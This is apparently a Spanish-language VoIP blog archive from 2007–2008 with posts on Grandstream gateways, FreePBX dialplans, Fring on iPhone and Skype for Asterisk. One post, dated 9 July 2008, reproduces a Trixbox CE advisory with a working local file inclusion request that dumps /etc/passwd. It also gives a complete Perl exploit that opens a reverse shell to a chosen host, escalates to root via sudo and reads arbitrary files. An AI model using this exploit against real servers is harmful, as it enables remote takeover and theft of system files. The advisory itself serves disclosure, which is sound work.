Mostrando entradas con la etiqueta voip. Mostrar todas las entradas
Mostrando entradas con la etiqueta voip. Mostrar todas las entradas

martes, 28 de octubre de 2008

Nuevo firmware Grandstream GXW41XX

Después de una larga espera, Grandstream publicó los nuevos firmwares para sus equipos. Hace ya tiempo los GXW4104 y GXW4108 tenían pendiente el release del nuevo firmware. Todos hemos tenido algunos problemas pero parece que con este lanzamiento se solucionarán.

Algunas mejoras importantes son

  • Más comentarios para la configuración de CPT (Call Progress Tones)

  • Nuevo detector de tonos (DTMF y CPT)

  • Solución al problema con el flash que no funcionaba

  • Mejora en el dialplan para poder reemplazar bloques en medio de una cadena

  • y más...


Estos los pongo como importantes porque fueron las cosas que más dolores de cabeza me dieron. Para leer el documento completo se lo pueder bajar de aquí.

Para los que quieran bajar el firmware, pueden entrar a la página de firmwares de Grandstream o configurar la IP que detalla en la tabla.

He recibido comentarios favorables, pero todavía no pude probarlo. En poco tiempo lo voy a estar haciendo y enviando comentarios.

(Gracias Pablo por el aviso!)

Saludos,

miércoles, 15 de octubre de 2008

Cliente SIP para iPhone

Más de uno hemos estado esperando un software de estas características para el teléfono. Ya hay un cliente para iPhone! Fring liberó su cliente para iPhone, aparte de dar la posibilidad de registrarse con la gran mayoría de los servicios de mensajería instantánea, permite registrarse con con un servidor SIP. Este servidor puede ser nuestro propio Asterisk.

Para la comodida de todos los "iPhoneros" se puede bajar la aplicación desde Apple Store o haciendo click, teniendo iTunes, en el link de la página de Fring.

Hace unos días tuve la suerte de usarlo y en este momento lo tengo en producción. Utilizando WiFi funciona muy bien, sin ningún problema. Obviamente, no le podemos pedir G729, mucho menos gratis. Todavía me queda la prueba de fuego... 3G. No sé como funcionará pero tal vez valga la pena.

La desventaja que veo es que si uno bloquea el iPhone o vuelve a la pantalla principal, el SIPPhone pierde conexión. Esto no es una limitación de Fring sino del iPhone que no tiene la posibilidad de ejecutar procesos en segundo plano (no se puede pedir todo). Con esto, creo que es más útil usarlo para hacer llamadas que para recibir.

Espero que sirva.


Saludos,

Asterisk y Skype

Dejé un poco descuidado el blog por un tiempo. Ahora vengo con una noticia de hace un tiempo pero que muchos están esperando que suceda. Digium, compañía encargada del desarrollo de Asterisk PBX, y Skype anunciaron la beta de "Skype for Asterisk". Esto permitirá utilizar todas las funcionalidades de Skype dentro de la PBX libre.

Según comentó el vice presidente y general manager para Skype Telecom y Skype for Business, a través de esta alianza buscan poder brindar servicio a pequeñas empresas.

La versión beta de Skype for Asterisk es un módulo channel driver para este último que integra los dispositivos conectados a la PBX con el sistema de llamadas del proveedor propietario. El nueov módulo también permite su utilización para llamadas a la red pública (AKA SkypeOUT).

Las funcionalidades de la versión beta son las siguientes:

  • Hacer, recibir y transferir llamadas Skype desde Asterisk, usando el hardware existente.

  • Ahorro en llamadas "Click to Call" desde sitios webs mediante la utilización de Skype.

  • Manejo de llamadas mediante la utilización de las funciones del plan de discado de Asterisk PBX: ruteo de llamadas, salas de conferencia, voicemail, IVR.



Luego del período beta, el producto será lanzado y comercializado a través de los canales de distribución de Digium. Para poder sumarse a la beta deben suscribirse en este link.

Todos estamos pensando que sería bueno si el módulo es GPL... Este se va a distribuir en dos partes:

  • res_skype: En formato binario y será el que encapsule todo el funcionamiento del protocolo propietario de Skype.

  • chan_skype: Será distribuido con su código fuente, es el encargado de generar el nuevo tipo de canal dentro de Asterisk PBX.


Con esto podemos ver que Skype no abandona su política de protocolo propietario. Por ese motivo hay una gran cantidad de críticas a esta integración.

Con este Artículo abro una encuenta para saber que opinan sobre si deberían avanzar en el desarrollo del nuevo chan_skype o el tan usado chan_sip.

Fuente: Asterisk-Users

martes, 22 de julio de 2008

Seleccionando troncales con ATAs Linksys y FreePBX

Vamos a ver como se puede hacer para que un interno salga, obligadamente, siempre por la misma troncal - o "Ruta Saliente" en FreePBX -. Si tratamos de encontrarlo en la interfaz estándar, parece ser que no se puede hacer a menos que marquemos un prefijo diferenciado, cosa que es bastante incomoda si tenemos que poner uno por cada interno. Esto sigue, un poco, el concepto de extender internos que está desarrollado en otro artículo de este blog.

Ahora voy a explicar como hacerlo con un ATA Linksys - por ejemplo el PAP2 -, también se puede hacer con cualquier otro que brinde la posibilidad de armar un dialplan. Primero tenemos que crear una ruta saliente con la siguiente regla: "919|X." (sin comillas) y que apunte a la troncal para el interno número 1. El 91 lo utilizaremos como prefijo de troncal, es decir que si necesitamos mas troncales crearemos otra ruta saliente con la regla "929|X." luego "939|X." y asi sucesivamente. El último 9 indica que toma línea externa. Estos prefijos son a modo de mantener un orden y coherencia, pero pueden ser modificados tranquilamente.

El segundo paso es armar el plan de discado en el ATA. Linksys tiene una forma de hacerlo un tanto distinta a Asterisk pero muy sencillo. Para acceder a esto debemos hacerlo desde la interfaz web del Linksys en modo Admin Advaced. Dentro de la cuenta, al final de la página vamos a encontrar el dialplan. En este campo debemos poner lo siguiente:

(<:91>9x.|x.|*x.)


Esto es para el interno 1, para el interno 2 solo debemos cambiar el 91 por un 92. No sólo nos agrega el prefijo de troncal, como lo definimos en FreePBX, sino también nos permite marcar cualquier otro número - solo agregará 91 a los números que comiencen con 9 - y los códigos de función que comienzan con *.

El anterior no es un dialplan completo ni mucho menos, pero ese no es el objetivo de este pequeño tutorial. Pueden usar parte y completarlo a su gusto. Para que sepan como se armar un dialplan para Linksys, aca lo explica bien completito.


Espero sirva.

Saludos.

miércoles, 9 de julio de 2008

BUG grave en Trixbox

Han reportado un bug GRAVE en Trixbox. Este permitiría ejecutar código arbitrario y eventualmente obtener una consola con permisos de root.

El autor de este descubrimiento ha posteado el exploit (que brinda una shell con los permisos del usuario "asterisk") en milw0rm y SecurityFocus (BID=30135). Según su post es una lista, luego, se dió cuenta que se puede obtener acceso con permisos de root y los exploits deberían ser actualizados.

Se trata de una vulnerabilidad en la página 'user/index.php', el parámetro 'langChoice'. No se controla que este POST sea correcto y permite la inclusión de un archivo como respuesta.

Abajo se puede ver el post original del bug y el exploit actualizado.

ADVISORY:

Vulnerability Found: 7th July 2008
Vendor informed: 7th July 2008
Severity: Critical
BID: 30135
Successfully tested on: Trixbox CE 2.6.1 and below

Description:
A local file inclusion vulnerability affects Trixbox CE, an
Asterisk-based PBX Phone system. This issue is due to a failure of the
application to properly sanitize POST data assigned to a parameter of
the /user/index.php page.

An attacker may leverage this issue to read local files, execute PHP
scripts and eventually obtain a root shell.

Vulnerable server-side program: '/user/index.php'

Vulnerable parameter: 'langChoice'

Proof of concept:

COMPLETE HTTP REQUEST:

POST /user/index.php HTTP/1.1
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

langChoice=../../../../../etc/passwd

COMPLETE HTTP RESPONSE:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

1f4a
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[...]

Consequences:

A remote root shell can be obtained on the affected server.

Fix:

Fonality has stated that they have submitted a fix into SVN and it
will be part of the next update that will go out this week.

Credits:

Jean-Michel BESNARD of LEXSI Audit.

EXPLOIT
#!/usr/bin/perl -w

# Jean-Michel BESNARD / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root
shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (:):
192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on
most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at
192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...

# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#


use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;

usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);

menu();

sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as_string);
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid");
}

sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}

sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../../../../../../..$file");
my @fileLines = split(/\n/,$content);
my $fileContent = "Content of $file: \n\n";
for(my $i=3;$i<@fileLines;$i++){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "\n";
}
return $fileContent;
}

sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $uid = shift;
my $rshell;
if($uid eq "asterisk"){
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"}
(\"JMB\", \"-i\"));'`;?>";

}else{
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\",
(\"-i\"));'`;?>";
}
execScript($rshell);
}


sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(\w+)/){
return $1;
}
}

sub menu{
print <Please listen carefully as our menu option has changed
Choose from the following options:
1> Remote TCP shell
2> Read local file
EOF
my $option = ;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(:): ";
my $hp=;
chop($hp);
print "Which uid would you like for your shell ? (uid=root will
be OK on most recent trixbox versions only): [root|asterisk]";
my $uid=;
chop($uid);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at
$rhost (e.g, nc -l -p $rport)\n";
print "Press enter to continue...";
;
tcp_reverse_shell($rhost,$rport,$uid);
print "done...\n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = ;
chop($file);
print readFile($file) . "\n\n";
}
}
}
}

sub usage{
print "./trixbox_fi.pl \n";
exit 1;
}

miércoles, 30 de abril de 2008

Extender internos de una PBX con Grandstream GXW 4104 y GXW 4004

Siguiendo con los Grandstream de 4 puertos me surgió la necesidad de extender 4 internos de una PBX convencional via IP sin usar Asterisk ni otra central IP. Para ellos, utilicé un Grandstream GXW 4104 (4 FXO) y un GXW 4004 (4 FXS). Aclaro que la idea no fue mía, sino de un cliente y aprendí mucho con eso (GRACIAS HUGO!).


Lo primero que hicimos fue seguir un tutorial que está en la página de Grandstream e indica como hacer que un interno conectado a un FXS del Grandstream tome el puerto FXO que le corresponde.Este es el link al documento.

Esto fue un aporte pero más importante era que FXO y FXS es correpondieran en ambos sentidos. Es decir, todavía nos faltaba que cuando haya un llamado en determinado puerto FXO este se corresponda con el ATA en el otro extremo. El siguiente esquema lo ilustra mejor:

GXW 4104 GXW 4004

FXO 1 <----------> FXS 1
FXO 2 <----------> FXS 2
FXO 3 <----------> FXS 3
FXO 4 <----------> FXS 4

Para hacerlo funcionar en el otro sentido, y tomando como base lo explicado en el tutorial de Grandstream hicimos lo siguiente: en la solapa de FXO Lines, en la sección PSTN to VoIP, como puerto pusimos lo siguiente: "ch1-4:5060++;" (sin comillas). Es lo que hace es realizar la conexión a la IP del la caja FXS al puerto 5060 cuando se recibe una llamada en el puerto FXO 1, al 5062 si se recibe al puerto FXO 2 y así sucesivamente (los dos "+" hacen el incremento de a 2).


Hecho todo, ya está listo para usarse sin problemas. Este esquema está instalado y funcionando ya hace un tiempo.


Espero que sirva.


lunes, 14 de enero de 2008

Grandstream GXW4104 funcionando

Hace tanto que no escribía... estoy con mucho trabajo y no tengo tiempo de escribir mucho. Volví a la carga con el Grandstream GXW4104, esta vez con una línea de Telefónica y un gateway GSM analógico. Por suerte salió todo bien :-)


Para configurar el Grandstream GXW4104 y no tener problemas con la detección de cortes en Argentina, primero hay que actualizar la versión de firmware a la última disponible. Una vez hecho esto, hay que entrar a channels y cargan el tone plan de Argentina. Copien las líneas de acá abajo:

Dial tone: ch1-4:f1=425@-10,f2=425@-10,c=0/0;
Ringback tone: ch1-4:f1=425@-10,f2=425@-10,c=100/450;
Busy Tone: ch1-4:f1=425@-11,f2=425@-11,c=37/32;
Reorder tone: ch1-4:f1=425@-11,f2=425@-11,c=37/32;
Confirmation tone: ch1-4:f1=425@-10,f2=425@-10,c=10/10;

Si bien no encontré la especificación del Confirmation tone, le cambié la frecuencia y la ganancia como los demás.

Como último paso para que funcione, hay que entran a FXO Lines y poner la siguiente configuración:

Enable Current Disconnect: No
Enable Tone Disconnect: Yes
Enable Polarity Reversal: No

De esta forma activación la detección de cortes por tonos. El GXW4104 va a utilizar el tono de Reorder para detectar el corte de comunicación.

Eso es todo, disfruten y espero que sirva!


sábado, 11 de agosto de 2007

Integración de Asterisk con Outlook

Hoy descubrí una aplicación que es muy util. Se llama Outcall y permite integrar Asterisk con Outlook para hacer llamadas y recibir. Emepzó como una aplicación propietaria pero ahora es libre. Obviamente es para Win$.

Las características que ofrece son:
  • Registración con infinita cantidad de cuentas, tanto IAX como SIP,
  • Notificación de las llamadas por medio de un pop-up en tiempo real,
  • Brinda la posibilidad de hacer llamadas dentro de Outlook, dentro de los contactos o de un e-mail,
  • Actualización automática de los datos de contactos,
  • Notificación de las actualizaciones de la aplicación,
  • Mensajes de debugging claros,
  • Y una integración completa con Asterisk.
Usenlo, pruebenlo, es realmente una buena herramienta para lo que quieren integrar Asterisk con Outlook. Accedan a la página del proyecto para encontrar más documentación y poder descargar el software: http://outcall.sourceforge.net/

Grandstream GXW410X para Argentina (continuación)

Las pruebas con mi amigo Grandstream continuan. Tuve que enviar un mail a Grandstream latinoamérica para ver si me podían resolver el problema. Este se trata de que cuando hago una llamada entrante y luego presiono un interno, no sólo no reconoce los dígitos sino que después la llamada se queda colgada, o sea no está detectando el hangup. Por suerte me contestaron al otro día diciendome que ya habían detectado el problema, que lo iban a corregir y me enviarían un firmware de prueba.

Ahora estoy a la espera del firmware, vamos a ver que pasa cuando lo actualice... todo puede suceder...